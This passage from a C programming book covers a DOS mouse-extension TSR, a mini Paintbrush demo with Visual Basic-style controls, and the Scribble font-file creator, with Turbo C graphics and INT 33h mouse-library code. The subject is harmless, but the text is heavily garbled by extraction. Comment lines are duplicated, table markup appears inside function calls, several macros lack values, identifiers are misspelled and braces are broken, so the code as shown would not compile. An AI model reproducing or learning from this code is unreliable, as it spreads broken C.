Turbo C++3.0's setcolor ( ) function was not written with upward compatibility. setcolor( ) function receives 'integer' value as color value. So setcolor ( ) function cannot work if we provide a 'long' value (a value above 32767, say 50000). Inorder to make the setcolor ( ) function to work, Jordan Hargraphix Software's graphics functions use certain rules. More details and documentation are found on CD !

### 28.4 Jordan Hargraphix Software's HGXMOUSE TSR

HGXMOUSE TSR is another good product from Jordan Hargraphix Software. It's also a shareware, i.e, if you use it you must send fees to the author. It is available in CD to load your mouse driver before you load HGXMOUSE TSR. The reason is HGXMOUSE TSR is not a replacement for your mouse driver, but an extension to it.

The question is why we need HGXMOUSE TSR. Your mouse driver may not be aware of certain video modes. So in those video modes, you won't get mouse support. HGXMOUSE TSR, thus enhances the performance of your mouse driver. Jordan Hargraphix Software's SuperVGA/Tweak BGI drivers are fully integrated with the TSR, and will provide automatic mouse support in all modes if the TSR and mouse driver are loaded.

Following are the important features of HGXMOUSE TSR.

- Support for the mouse cursor in $16,256,32 \mathrm{k}, 64 \mathrm{k}$ and true color SuperVGA modes, as well as tweaked 16 and 256 color modes.
- Support for a graphical text mode cursor (ala Norton)
- Support for the hardware cursor on systems that support it. (Cirrus 54xx, S3, Paradise)
- Easy to use API so you can use the mouse cursor in your own programs. (without needing to use Jordan Hargraphix Software's SuperVGA/Tweak BGI drivers).
- Large cursor support (currently up to 32x32).
- Ability to set the cursor foreground and background colors.
- Bitmap cursor support (multicolored mouse cursors).


## 2 <br> 29

 "People with understanding want more knowledge." VB ControlsUsing graphics with BGI, we can create VB like controls: Forms, textboxes, command buttons etc. In this chapter let us see how to create few VB like controls.

### 29.1 Paintbrush

The following program is a Demo Paintbrush program. This program uses: command buttons, Windows and Frame. Paintbrush coders usually find difficulty in implementing mouse drawings. Here, I give you few guidelines.

### 29.1.1 Restricting Mouse Pointer

When the mouse is clicked on the drawing area, you must restrict it so that outside of the drawing should not be affected.

### 29.1.2 Hiding/Showing Mouse Pointer

You must properly hide/show mouse pointer. When you want to paint on the drawing box using putpixel ( ) or anything else, first of all hide the pointer, paint (using putpixel ( ) ) and then do not forget to 'show' mouse pointer! I could see, even the commercial softwareAdobe's Instant Artist fails to use this logic! So the logic is hide-paint-show.

### 29.1.3 Avoiding Flickering of Mouse Pointer

When you would hide and show the pointer repeatedly, it usually starts flickering. So use 'hide-paint-show' logic, only when the current mouse position is not equal to previous mouse position. If the current mouse position is equal to previous mouse position, don't do anything!

### 29.1.4 Using setwritemode ( ) function

When you draw line with the so called 'rubber-band technique', you may find that the existing images will get erased. We can avoid such 'erasing' with setwritemode (XOR_PUT). As we know XOR is used for 'toggling', we can utilize it to avoid 'erasing'.

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## A to $z$ of $\mathrm{c}-3$ Hini Paintbrush

Figure shows the
use of VB like controls in Paintbrush program


## Brush Line Duit

## Line mocle

```
/*
    Mini Paintbrush for VB Controls demo
    *_--
    * /
#include <dos.h>
#include <graphics.h>
#include "mouselib.h"
#define ESC
    (27)
#define ISDRAWBOX(x, y)
typedef int BOOLEAN;
#define FALSE (0)
#define TRUE
(1)
#define PRESS (0)
#define NORMAL
(1)
```

\#define MAXCMDBUTTON ..... (3)
\#define BRUSH ..... (0)
\#define LINE ..... (1)\#define QUIT

```
struct RecButtonCoord
    {
        int x1;
        int y1;
        int x2;
        int y2;
    };
struct RecButtonCoord RecBut_Cd[MAXCMDBUTTON];
void far MyOuttextxy( int x, int y, char far *str, int color );
void MyRectangle( int x1, int y1, int x2, int y2, int upcolor, int
lowcolor );
void InitVB( void );
void InitScreen( void );
void VBForm( int x1, int y1, int x2, int y2, char *title );
void VBFrame( int x1, int y1, int x2, int y2 );
void VBDrawBox( int x1, int y1, int x2, int y2 );
void CmdButton( int cmdno, int status );
int CmdButtonVal( int x, int y );
void ShowStatus( int msgno );
```

```
/*------------------------------------------------------
```

/*------------------------------------------------------
MyOttextxy - Prints text with
MyOttextxy - Prints text with
specified color */
specified color */
void far MyOuttextxy( int x, int y, char far *str, int color )
{
setcolor( color );
outtextxy( x, y, str );
} /*--MyOuttextxy( )-----------*/
/*----------------------------------------------------------
MyRectangle - Rectangle with
upcolor for Ú, lowcolor for Ù.
It's for Command Button effect. */
void MyRectangle( int x1, int y1, int x2, int y2, int upcolor, int
lowcolor )
{
setcolor( upcolor );
line( x1, y1, x2, y1 );
line( x1, y1, x1, y2 );
setcolor( lowcolor );
line( x1, y2, x2, y2 );
line( x2, y1, x2, y2);
} /*--MyRectangle( )-------------*/

```

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```

/*
InitVB - Initializes VB.
ie, Checks errors. */
void InitVB( void )
{
int gdriver = VGA, gmode = VGAHI, error;
if ( !InitMouse( ) )
{
cprintf( "Mouse support needed! \r\n\a" );
exit( 1 );
}
initgraph( \&gdriver, \&gmode, "c:<br>tc<br>bgi" );
error = graphresult( );
if ( error != grOk )
{
closegraph( );
cprintf( "Graphics error: %s \r\n\a", grapherrormsg( error ) );
exit( 1 );
}
} /*---InitVB( )-------*/
/*-------------------------------------------------------
InitScreen - Initializes Screen. */
void InitScreen( void )
{
int i, x, y;
VBForm( 100, 80, 540, 400, "A to Z of C -> Mini Paintbrush" );
VBFrame( 180, 350, 445, 380 );
VBDrawBox( 140, 130, 500, 300 );
for( i= 0, x = 222, y = 320 ; i < 3 ; x += 65, ++i )
{
RecBut_Cd[i].x1 = x;
RecBut_Cd[i].y1 = y;
RecBut_Cd[i].x2 = x + 50;
RecBut_Cd[i].y2 = y + 20;
CmdButton( i, NORMAL );
}
/* Labels for Command Button... */
MyOuttextxy( 229, 327, "Brush", BLACK );
MyOuttextxy( 297, 327, "Line", BLACK );
MyOuttextxy( 363, 327, "Quit", BLACK );
} /*--InitScreen( )------*/

```
```

/*-------------------------------------------------
void VBForm( int x1, int y1, int x2, int y2, char *title )
{
setfillstyle( SOLID_FILL, LIGHTGRAY );
bar( x1, y1, x2, y2 );
setfillstyle( SOLID_FILL, BLUE );
bar( x1+4, y1+3, x2-5, y1+22 );
MyOuttextxy( x1+13, y1+10, title, WHITE );
MyRectangle( x1+1, y1, x2-1, y2-1, WHITE, BLACK );
} /*--VBForm( )-----------*/
/*
VBFrame - Creates VB like Frame. */
void VBFrame( int x1, int y1, int x2, int y2 )
{
MyRectangle( x1+1, y1+1, x2, y2, WHITE, DARKGRAY );
MyRectangle( x1, y1, x2+1, y2+1, DARKGRAY, WHITE );
} /*--VBFrame( )---------------*/
/*--------------------------------------------------------
VBDrawBox - Creates Drawing Box. */
void VBDrawBox( int x1, int y1, int x2, int y2 )
{
setfillstyle( SOLID_FILL, WHITE );
bar( x1+1, y1+1, x2-2, y2-2 );
MyRectangle( x1, y1, x2, y2, BLACK, WHITE);
} /*--VBDrawBox( )--------*/
/*----------------------------------------------------
CmdButton - Draws Command Button for
specified status.
status are NORMAL, PRESS */
void CmdButton( int cmdno, int status )
{
if ( status==NORMAL )
MyRectangle( RecBut_Cd[cmdno].x1, RecBut_Cd[cmdno].y1,
RecBut_Cd[cmdno].x2, RecBut_Cd[cmdno].y2, WHITE, BLACK
);
else
MyRectangle( RecBut_Cd[cmdno].x1, RecBut_Cd[cmdno].y1,
RecBut_Cd[cmdno].x2, RecBut_Cd[cmdno].y2, BLACK, WHITE );
} /*--CmdButton( )----------*/

```

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```

/*---------------------------------------------------
int CmdButtonVal( int x, int y )
{
BOOLEAN found = FALSE;
int i;
for( i= 0; !found \&\& i < MAXCMDBUTTON ; ++i )
found = ( x > RecBut_Cd[i].x1 \&\& x < RecBut_Cd[i].x2
\&\& y > RecBut_Cd[i].y1 \&\& y < RecBut_Cd[i].y2);
if ( found )
--i;
return( i );
} /*--CmdButtonVal( )----------*/
/*----------------------------------------------------
void ShowStatus( int msgno )
{
char *message[] = {
"Brush mode",
"Line mode"
};
if (msgno==0 || msgno==1 )
{
setfillstyle( SOLID_FILL, LIGHTGRAY );
bar( 280, 360, 438, 370 );
MyOuttextxy( 280, 360, message[msgno], BLACK );
}
} /*--ShowStatus( )--------*/
/*-------------------------------------------------------
int main( void )
{
int mx, my, x1, x2, y1, y2, mbutton, cmdno, prevcmdno=0;
const int brushcolor = RED; /* choose default brush color */
BOOLEAN stayin = TRUE;
InitVB( );
InitScreen( );
CmdButton( BRUSH, PRESS ); /* Force <Brush> button to default */
ShowStatus( BRUSH );
ShowMousePtr( );

```
```

while( stayin )
{
/* if ESC is pressed, then quit! */
if ( kbhit( ) )
stayin = ( getch( ) !=ESC );
GetMousePos( \&mbutton, \&mx, \&my );
if ( mbutton==LFTCLICK )
{
cmdno = CmdButtonVal( mx, my );
if ( cmdno!=MAXCMDBUTTON \&\& cmdno != prevcmdno )
{
HideMousePtr( );
CmdButton( cmdno, PRESS );
CmdButton( prevcmdno, NORMAL );
ShowStatus( cmdno );
prevcmdno = cmdno;
ShowMousePtr( );
stayin = ( cmdno!=QUIT );
}
if ( ISDRAWBOX( mx, my ) )
{
RestrictMousePtr( 142, 132, 497, 297 );
switch ( prevomdno )
{
case BRUSH:
x1 = mx;
y1 = my;
setcolor( brushcolor );
HideMousePtr( );
putpixel( mx, my, brushcolor );
ShowMousePtr( );
do
{
GetMousePos( \&mbutton, \&mx, \&my );
if ( x1!=mx || y1!=my )
{
HideMousePtr( );
line( x1, y1, mx, my );
ShowMousePtr( );
x1 = mx;
y1 = my;
}
} while(mbutton==LFTCLICK);
break;
case LINE:
x2 = x1 = mx;

```

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```

    y2 = y1 = my;
    /* Note! in XOR_PUT mode, you must
        setcolor to 'WHITE-brushcolor'
    */
    setwritemode( XOR_PUT );
    setcolor( WHITE-brushcolor );
    do
        {
            GetMousePos( &mbutton, &mx, &my );
            if ( mx!=x2 || my!= y2 )
            {
                        HideMousePtr( );
                    line( x1, y1, x2, y2 );
                        line( x1, y1, mx, my );
                        ShowMousePtr( );
                    x2 = mx;
                    y2 = my;
                }
            } while(mbutton==LFTCLICK);
    setwritemode( COPY_PUT );
    /* Note! in COPY_PUT mode, you must
            setcolor to 'brushcolor'
    */
    setcolor( brushcolor );
    HideMousePtr( );
    line( x1, y1, mx, my );
    ShowMousePtr( );
                    }
                    RestrictMousePtr( 0, 0, 640, 480 );
                }
                }
        }
    closegraph( );
    return( 0 );
    /*--main( ) ---------*/

```

\subsection*{29.2 Note}

For mouse inputs, here I have used request mode and so it won't be much efficient. If you need more precision, use event mode to get mouse inputs.

A real VB control uses object-oriented concepts. So for the exact implementation, you have to go for \(\mathrm{C}++\).

\section*{Suggested Projects}
1. Yet I haven't seen a full VB imitated controls library. If you could code all VB controls, you can even sell that library!

\section*{30 \\ "Plans fail without good advice." \\ Scribble}

Scribble is a CHR file creator developed with graphics with BGI. It will be a good example of coding style, using mouse routines, graphics with BGI, library \& project file creation and file format.

\subsection*{30.1 Prelude}

CHR files are used for generating fonts in Turbo C's graphics programs. Except for default font, we need the corresponding CHR file to display respective fonts. For example, inorder to display 'Gothic' fonts, we need GOTH.CHR file. Scribble is a CHR (or font) file creator. When I developed this utility, I thought that there is no utility to create CHR files. But later I came to know that Borland also provides 'Font Editor' to create CHR file. When you compare 'Scribble' and Borland's 'Font Editor', you can find that the mouse support in Borland's Font Editor is worse! When I developed Scribble, I thought that CHR file format is undocumented. And so I cracked the CHR file format. But later I came to know that it is documented. So my view about CHR file format may slightly differ from Borland's official documentation. I suggest you to have a glance at the CHR file format on file format collection.

\subsection*{30.2 Storing Fonts}

Borland's CHR file structure saves a character pattern as a set of lines with X , Y coordinates stored in corresponding bytes. The coordinate values are stored in 7-bits of a byte and they all are signed. So the existing values can be -64 to 63 for X and Y coordinates. The last bit ( \(7^{\text {th }}\) bit) of the \(\mathrm{X}-\mathrm{Y}\) values holds the command. The command can be any one of the following 3 commands: Move/Scan character, Draw line from current location or End of character definition.

You can see that the X values can even be in negative. But for the sake of brevity, I have avoided negative values in Scribble.


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30.3 Scribble screenshots


\subsection*{30.4 Mouselib.lib}

\subsection*{30.4.1 Mouselib.h}
\#ifndef \(\qquad\) MOUSELIB_H
```

\#define LFTCLICK (1)
int InitMouse( void );
void ShowMousePtr( void );
void MoveMousePtr( int x, int y );
void RestrictMousePtr( int x1, int y1, int x2, int y2 );
void HideMousePtr( void );
void GetMousePos( int *mbutton, int *x, int *y );
void ChangeMousePtr( int *shape );
\#endif

```

\subsection*{30.4.2 Mouselib.c}
```

\#include "mouselib.h"
\#pragma inline
/*----------------------------------------------------
InitMouse - Initializes Mouse.
Returns 0 for success. */
int InitMouse( void )
{
asm {
MOV AX, 0;
INT 33h;
}
return;
} /*--InitMouse( )---*/
/*-----------------------------------------------------
ShowMousePtr - Shows Mouse Pointer. */
void ShowMousePtr( void )
{
asm {
MOV AX, 1h;
INT 33h;
}
} /*--ShowMousePtr( )----*/
/*---------------------------------------------------
HideMousePtr - Hide Mouse Pointer. */

```

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```

void HideMousePtr( void )
{
asm {
MOV AX, 2h;
INT 33h;
}
} /*--HideMousePtr( )-----*/
/*---------------------------------------------------
MoveMousePtr - Move Mouse Pointer
to (x, y). */
void MoveMousePtr( int x, int y )
{
asm {
MOV AX, 4h;
MOV CX, x;
MOV DX, y;
INT 33h;
}
} /*--MoveMousePtr( )-----*/
/*----------------------------------------------------
RestrictMousePtr - Restrict Mouse Pointer
to the specified coordinates */
void RestrictMousePtr( int x1, int y1, int x2, int y2 )
{
asm {
MOV AX, 7h;
MOV CX, x1;
MOV DX, x2;
INT 33h;
MOV AX, 8h;
MOV CX, y1;
MOV DX, y2;
INT 33h;
}
} /*--RestrictMousePtr( )--------*/
/*---------------------------------------------------
GetMousePos - Gets Mouse position \& mouse button value. */
void GetMousePos( int *mbutton, int *mx, int *my )
{
asm {
MOV AX, 3h;

```
```

    INT 33h;
    MOV AX, BX;
    MOV BX, mbutton;
    MOV WORD PTR [BX], AX;
    MOV BX, mx;
    MOV WORD PTR [BX], CX;
    MOV BX, my;
    MOV WORD PTR [BX], DX;
    }
    } /*--GetMousePos( )------*/

```

\subsection*{30.4.3 Mouselib.lib}

Using the above Mouselib.c file compile it to library file for Small memory model, you will get Mouselib.lib file. You can use the library - Mouselib.lib in your projects.

\subsection*{30.5 Scribble.h}
```

/*---------------------------------------------------
scribble.h
*_---

* /
/* PC bios data area pointer to incrementing unsigned long int */
\#define BIOSTICK (*(volatile unsigned long far *)(0x0040006CL))
typedef int BOOLEAN;
\#define FALSE (0)
\#define TRUE (1)
\#define PRESS (0)
\#define NORMAL (1)
\#define MAXCMDBUTTON
(7)
\#define CLEAR
\#define NEXT
\#define QUIT
(2)
\#define ABOUT
(3)
\#define OKBUTTON (4)
\#define NOBUTTON (5)
\#define YESBUTTON (6)

```

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```

struct ButtonStatus
{
int x1;
int y1;
int x2;
int y2;
};
\#define MAXBRUSH (10)
\#define THANKS (1)
\#define FSIZEERR (2)
typedef int WORD;
typedef char BYTE;
\#define EOFCHAR1 (0)
\#define EOFCHAR2 (0)
\#define CHARSCAN1 (0)
\#define CHARSCAN2 (1)
\#define DRAWCHAR1 (1)
\#define DRAWCHAR2 (1)
typedef struct tagFILEHEADER
{
BYTE fId[4];
BYTE copyRight[111];
BYTE copyRightEnd;
WORD headerOffset;
BYTE fntName[4];
WORD fntSize;
BYTE fntVersion[4];
BYTE fntHeader;
WORD noOfChars;
BYTE undefined1;
BYTE startChar;
WORD defOffset;
BYTE fillFlag;
BYTE dCapital;
BYTE dBase;
BYTE dBottomDescender;
BYTE undefined2[5];
// WORD charOffset[noOfChars];
// BYTE widthTbl[noOfChars];
} FILEHEADER;
typedef struct tagFONTINFO
{
unsigned int y : 7;

```
```

            unsigned int op2 : 1;
            unsigned int x : 7;
            unsigned int op1 : 1;
    } FONTINFO;
    ```
```

/* File header for Sribble */

```
/* File header for Sribble */
FILEHEADER scriFh = {
FILEHEADER scriFh = {
    'P', 'K', 8, 8,
    'P', 'K', 8, 8,
    "Scribble v1.0 for DOS ,2001 by R. Rajesh Jeba Anbiah, "
```

    "Scribble v1.0 for DOS ,2001 by R. Rajesh Jeba Anbiah, "
    ```


```

                            "Thank you Jesus! ",
    ```
                            "Thank you Jesus! ",
            0x1A,
            0x1A,
            128, /* headerOffset */
            128, /* headerOffset */
            "????", /* fntName - To be changed */
            "????", /* fntName - To be changed */
            0, /* fntSize - To be changed */
            0, /* fntSize - To be changed */
            1, 0, 1, 0,
            1, 0, 1, 0,
            '+',
            '+',
            1, /* noOfChars - To be changed */
            1, /* noOfChars - To be changed */
            0, /* undefined ?? */
            0, /* undefined ?? */
            ' ', /* startChar */
            ' ', /* startChar */
            0, /* defOffset - To be changed */
            0, /* defOffset - To be changed */
            0,
            0,
            25,
            25,
            0,
            0,
            -9,
            -9,
            " " /* undefined ?? */
            " " /* undefined ?? */
};
};
/* Store brushe types */
char *Pixel_Mask[16] =
    {
        "11000000",
        "11000000",
        "00000000",
        "00000000",
    "11100000",
    "11100000",
    "11100000",
    "00000000",
    "01100000",
    "11110000",
    "11110000",
    "01100000",
    "01111000",
```


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```
                    "11111100",
"11111100",
"01111000"
};
void far MyOuttextxy( int x, int y, char far *str, int color );
void MyRectangle( int x1, int y1, int x2, int y2, int upcolor, int
lowcolor );
void PutPoint( int x, int y, int btype );
void ScribbleLine ( int x1, int y1, int x2, int y2, int btype );
void ScribbleInfo( void );
void InitScribble( void );
void GWindow( int x1, int y1, int x2, int y2, char *title );
void SetScreen( void );
void GetFontName( char *str );
void FileSizeIndicator( void );
void Clear( void );
void CmdButton( int cmdno, int status );
int CmdButtonVal( int x, int y );
void BrushBox( int brushno, int status );
int BrushVal( int x, int y );
void MsgWindow( char *fontname, int msgno );
int X4CenteredMsg( char *str );
void MakeFontProcedure1( void );
void MakeFontProcedure2( void );
void MakeFontProcedure3( void );
void CloseScribbleFiles( void );
```


### 30.6 Scribble.c

```
/*-----------------------------------------------------------------------------
```

/*-----------------------------------------------------------------------------
Scribble
Scribble
( CHR file creator )
( CHR file creator )
by
by
R. Rajesh Jeba Anbiah,
R. Rajesh Jeba Anbiah,
File name: Scribble.c
Written: March-April, 2001
Copyright (c) 2001, R. Rajesh Jeba Anbiah All Rights Reserved.

```
#include <dir.h>
#include <graphics.h>
#include "mouselib.h"
#include "scribble.h"
struct ButtonStatus But_Stat[MAXCMDBUTTON], Brush_Stat[MAXBRUSH];
FONTINFO fInfo;
WORD charoffset;
BYTE charwidth;
FILE *chOffFp, *wthFp, *chInfoFp, *scriFp;
/*----------------------------------------------------
    MyOttextxy - Prints text with
    specified color */
void far MyOuttextxy( int x, int y, char far *str, int color )
{
    setcolor( color );
    outtextxy( x, y, str );
} /*--MyOuttextxy( )-----------*/
/*----------------------------------------------------
    MyRectangle - Rectangle with
        upcolor for \Gamma, lowcolor for 」.
    It's for Command Button effect. */
void MyRectangle( int x1, int y1, int x2, int y2, int upcolor, int
lowcolor )
{
    setcolor( upcolor );
    line( x1, y1, x2, y1 );
    line( x1, y1, x1, y2 );
    setcolor( lowcolor );
    line( x1, y2, x2, y2 );
    line( x2, y1, x2, y2);
} /*--MyRectangle( )-------------*/
    PutPoint - Point with a specified
            pattern ( brush type ).
            Pattern is stored in *Pixel_Mask[]
    It's for Brush effect. - */
void PutPoint( int x, int y, int btype )
{
```


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```
    int i, j, color = getcolor( );
    if ( btype == 0 )
        putpixel( x, y, color );
        else
            for ( i = 0 ; i<4 ; ++i )
                for ( j = 0; j<8 ; ++j )
                        if ( Pixel Mask [4*(btype-1)+i][j] == '1' )
                            putpixel( x+j-(btype)/2, y+i-(btype)/2, color );
} /*--PutPoint( )---------*/
            ScribbleLine - Draws line a specified
                pattern ( brush type ).
            Logic: Bresenham's Line Algorithm.
            It's for Brush effect. */
void ScribbleLine ( int x1, int y1, int x2, int y2, int btype )
{
    int x, y, dx, dy, p, incrx, incry;
    dx = abs(x2 - x1);
    dy = abs(y2 - y1);
    incrx = (x2 >= x1)? 1 : -1;
    incry = (y2 >= y1)? 1 : -1;
    PutPoint( x1, y1, btype );
    x = x1;
    y = y1;
    if (dx > dy)
        {
            p = 2 * dy - dx;
            while( x != x2 )
                {
                    x += incrx;
            if (p < 0)
                        p += 2 * dy;
                    else
                        {
                                    y += incry;
                                    p += 2 * (dy - dx);
                        }
                        PutPoint( x, y, btype );
                }
        }
        else
        {
```

```
            p = 2 * dx - dy;
            while( y != y2 )
        {
            y += incry;
            if ( p < 0 )
                    p += 2 * dx;
            else
                    {
                    x += incrx;
                    p += 2 * ( dx - dy );
                    }
                        PutPoint( x, y, btype );
        }
        }
    PutPoint( x2, y2, btype );
    /*--ScribbleLine( )---*/
/*-----------------------------------------------------
    ScribbleInfo - Prints the information
    about Scribble. */
void ScribbleInfo( void )
{
    clrscr( );
    window( 10, 1, 75, 25 );
    textcolor( RED );
    textbackground( BLACK );
    _setcursortype( _NOCURSOR );
    directvideo = 1;
    cprintf(
\begin{tabular}{|c|c|c|}
\hline " & \begin{tabular}{l}
Scribble \\
Version 1.0 ( for DOS ) Freeware
\end{tabular} & \[
\begin{aligned}
& \backslash r \backslash n " \\
& \backslash r \backslash n " \\
& \backslash r \backslash n "
\end{aligned}
\] \\
\hline " & by & \(\backslash r \backslash n "\) \\
\hline " & R. Rajesh Jeba Anbiah Tamil Nadu, South India & \[
\begin{aligned}
& \backslash r \backslash n " \\
& \backslash r \backslash n "
\end{aligned}
\] \\
\hline
\end{tabular}
textcolor( WHITE );
cprintf(
```



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```
    ) ;
```

    ) ;
    textcolor( LIGHTGREEN );
cprintf(

| " | ```For any }\square\mathrm{ Suggestions }\square\mathrm{ Bug report \square \text { Sending donations} visit Scribble's official page: xxXxxXxXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX``` |
| :---: | :---: |
|  | Copyright (c) April 2001, R. Rajesh Jeba Anbiah All Rights Reserved. |

$$
\begin{aligned}
& \backslash r \backslash n " \\
& \backslash r \backslash n " \\
& \backslash r \backslash n " \\
& \backslash r \backslash n " \\
& \backslash r \backslash n " \\
& \backslash r \backslash n " \\
& \backslash r \backslash n " \\
& \backslash r \backslash n^{\prime \prime}
\end{aligned}
$$

);
textcolor ( LIGHTBLUE+BLINK );
cprintf(
, Press any Key...
);
window( 31, 2, 65, 5 );
textcolor( WHITE );
cprintf( "■" );
textcolor( GREEN );
cprintf( "\r\n ■" );
getch( );
window( 10, 2, 75, 25 );
textcolor( GREEN );
setcursortype( _NORMALCURSOR );
} /脑--ScribbleInfo(`)---------*/
/*-----------------------------------------------------
InitScribble - Initializes Scribble.
ie, Checks errors. */
void InitScribble( void )
{
int gdriver = VGA, gmode = VGAHI, error = 0;
registerfarbgidriver( EGAVGA_driver_far );
if ( !InitMouse( ) )
{
cprintf( "Mouse support needed! \r\n\a" );
error = 1;
}
if ( ( chOffFp = fopen( "~\$scrib1.raj", "wb+" ) ) == NULL )
{
cprintf( "Fatal Error(01): File cannot be created \r\n\a" );
error |= 2;
}

```
```

    if ( ( wthFp = fopen( "~$scrib2.raj", "wb+" ) ) == NULL )
        cprintf( "Fatal Error(02): File cannot be created \r\n\a" );
        error |= 3;
    }
    if ( ( chInfoFp = fopen( "~$scrib3.raj", "wb+" ) ) == NULL )
        cprintf( "Fatal Error(03): File cannot be created \r\n\a" );
        error |= 4;
    }
    if ( error )
        CloseScribbleFiles( );
        exit( 1 );
    }
    initgraph( &gdriver, &gmode, "" );
    error = graphresult( );
    if ( error != grok )
    {
    CloseScribbleFiles( );
    closegraph( );
    cprintf( "Graphics error: %s \r\n\a", grapherrormsg( error ) );
    exit( 1 );
    }
    } /*--InitScribble( )-------*/
GWindow - Creates a Window with the given title. */
void GWindow( int x1, int y1, int x2, int y2, char *title )
{
setfillstyle( SOLID_FILL, LIGHTGRAY );
bar( x1, y1, x2, y2 );
setfillstyle( SOLID_FILL, BLUE );
bar( x1+4, y1+3, x2-5, y1+22 );
MyOuttextxy( x1+13, y1+10, title, WHITE );
MyRectangle( x1+1, y1, x2-1, y2-1, WHITE, BLACK );
} /*--GWindow( )-----------* /
/*--------------------------------------------------------
SetScreen - Initializes Screen. */
void SetScreen( void )
{
int i, x, y;
GWindow( 100, 125, 540, 390, "" );

```

\section*{166 A to Z of C}
```

MyOuttextxy( 140, 135, "Scribble v1.0", WHITE );
/* Icons... */
MyOuttextxy( 107, 131, "■", RED );
MyOuttextxy( 114, 135, "■", WHITE );
MyOuttextxy( 121, 139, "■", GREEN );
MyRectangle( 148, 219, 210, 257, BLACK, WHITE);
Clear( );
settextstyle( DEFAULT FONT, HORIZ DIR, 4 );
MyOuttextxy( 150, 225, "!", BLACK ); /* starting character */
settextstyle( DEFAULT_FONT, HORIZ_DIR, 1 );
MyRectangle( 265, 192, 519, 225, WHITE, DARKGRAY );
MyRectangle( 264, 191, 520, 226, DARKGRAY, WHITE );
setfillstyle( SOLID_FILL, DARKGRAY );
bar( 267, 193, 517, 223 );
MyOuttextxy( 273, 180, "Brushes", BLACK );
MyRectangle( 265, 250, 519, 283, WHITE, DARKGRAY );
MyRectangle( 264, 249, 520, 284, DARKGRAY, WHITE );
bar( 267, 251, 517, 281 );
MyOuttextxy( 273, 238, "Erasers", BLACK );
MyRectangle( 265, 308, 519, 328, WHITE, DARKGRAY );
MyRectangle( 264, 307, 520, 329, DARKGRAY, WHITE );
bar( 267, 309, 517, 326 );
setfillstyle( SOLID_FILL, WHITE );
bar( 269, 313, 515, 322 );
MyOuttextxy( 273, 296, "File Size Indicator", BLACK );
for( i= 0, x = 267, y = 194 ; i < MAXBRUSH ; x += 50, ++i )
{
Brush_Stat[i].x1 = x;
Brush_Stat[i].y1 = y;
Brush_Stat[i].x2 = x + 50;
Brush_Stat[i].y2 = y + 28;
if ( i==0 )
BrushBox( i, PRESS );
if ( i == MAXBRUSH/2-1 )
{
y = 252;
x = 267-50;
}
}
setcolor( BLACK );

```
```

for ( i=0, x=290 ; i<5 ; x += 50, ++i )
PutPoint( x, 203, i );
setcolor( WHITE );
for ( i=0, x=290 ; i<5 ; x += 50, ++i )
PutPoint( x, 262, i );
But_Stat[0].x1 = 155;
But_Stat[0].y1 = 270;
But_Stat[0].x2 = 205;
But_Stat[0].y2 = 290;
CmdButton( 0, NORMAL );
for( i= 1, x = 122, y = 320; i < 3 ; x += 65, ++i )
{
But_Stat[i].x1 = x;
But_Stat[i].y1 = y;
But_Stat[i].x2 = x + 50;
But Stat[i].y2 = y + 20;
CmdButton( i, NORMAL );
}
But Stat[3].x1 = 375;
But_Stat[3].y1 = 340;
But Stat[3].x2 = 425;
But Stat[3].y2 = 360;
CmdButton( 3, NORMAL );
But_Stat[4].x1 = 290;
But_Stat[4].y1 = 335;
But_Stat[4].x2 = 340;
But_Stat[4].y2 = 355;
But_Stat[5].x1 = 270;
But_Stat[5].y1 = 270;
But_Stat[5].x2 = 320;
But_Stat[5].y2 = 290;
But_Stat[6].x1 = 330;
But_Stat[6].y1 = 270;
But_Stat[6].x2 = 380;
But Stat[6].y2 = 290;
MyOuttextxy( 161, 277, "Clear", BLACK );
MyOuttextxy( 131, 327, "Next", BLACK );
MyOuttextxy( 197, 327, "Quit", BLACK );

```

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```

    MyOuttextxy( 380, 345, "■", RED );
    MyOuttextxy( 387, 349, "■", WHITE );
    MyOuttextxy( 394, 353, "■", GREEN );
    MyOuttextxy( 406, 347, "?", BLUE );
    MyOuttextxy( 413, 349, "?", BLUE );
    } /*--SetScreen( ) ------*/
GetFontName - Gets Font Name \& checks
whether the file is already exist or not.
If exist, it prompt with Warning */
void GetFontName( char *str )
{
int mx, my, mbutton, cmdno, prevcmdno, i,
x = 382, y = 250, len = 4, cursorcolor = BLACK;
unsigned int imgsize;
volatile unsigned long nexttick = BIOSTICK;
char cursor[2] = "|", ch[2] = " ", filename[10], tmpmsg[40];
BOOLEAN stayin = TRUE;
void far *buffer;
struct ffblk fffblk;
imgsize = imagesize( 150, 155, 490, 370 );
if ((buffer = farmalloc(imgsize)) == NULL)
{
CloseScribbleFiles( );
closegraph( );
cprintf( "\r\nError: Not enough memory!\r\n\a" );
exit(1);
}
getimage( 190, 200, 450, 300, buffer );
while( stayin )
{
GWindow( 190, 200, 450, 300, "Happy Scribbling!" );
MyOuttextxy( 213, 249, "Enter the Font Name", BLACK );
MyOuttextxy( 213, 269, "( 4 Characters )", BLACK );
setfillstyle( SOLID_FILL, WHITE );
bar( 375, 245, 420, 260 );
MyRectangle( 375, 245, 420, 260, BLACK, WHITE);
i = 0;
while( i<len )
{
if ( BIOSTICK > nexttick )

```
```

        {
            MyOuttextxy( x, y, cursor, cursorcolor );
            cursorcolor ^= ( BLACK ^ WHITE );
            nexttick = BIOSTICK + 7L;
        }
    if ( kbhit( ) )
            MyOuttextxy( x, y, cursor, WHITE );
            ch[0] = toupper( getch( ) );
            if (ch[0]==0 ) /* Ignore special characters */
                    getch( );
            if (i!=0 && ch[0]=='\b' )
                {
                    ch[0] = str[--i];
                    x -= textwidth( cursor );
                    MyOuttextxy( x, y, ch, WHITE );
                }
            else if ( ch[0]!=' ' && ch[0]!='*' && ch[0]!='+'
                                    && ch[0]!='=' && ch[0]!='[' && ch[0]!=']'
                                    && ch[0]!='|' && ch[0]!='\\' && ch[0]!='\"'
                                    && ch[0]!=':' && ch[0]!=';' && ch[0]!='<'
                                    && ch[0]!=',' && ch[0]!='>' && ch[0]!='.'
                                    && ch[0]!='?' && ch[0]!='/'
                                    && !(iscntrl(ch[0])) )
                    {
                        str[i++] = ch[0];
                        MyOuttextxy( x, y, ch, BLACK );
                        x += textwidth( cursor );
                        }
                            }
    }
str[i] = '\0';
strcpy( filename, str );
strcat( filename, ".CHR" );
if ( findfirst( filename, \&ffblk, 0 ) == 0 ) /* File already
exist! */
{
GWindow( 190, 200, 450, 300, "Warning!" );
strcpy( tmpmsg, filename );
strcat( tmpmsg, " already exist!" );
MyOuttextxy( 213, 234, tmpmsg, RED );
MyOuttextxy( 213, 248, "Overwrite existing file?", BLACK );
CmdButton( NOBUTTON, NORMAL );
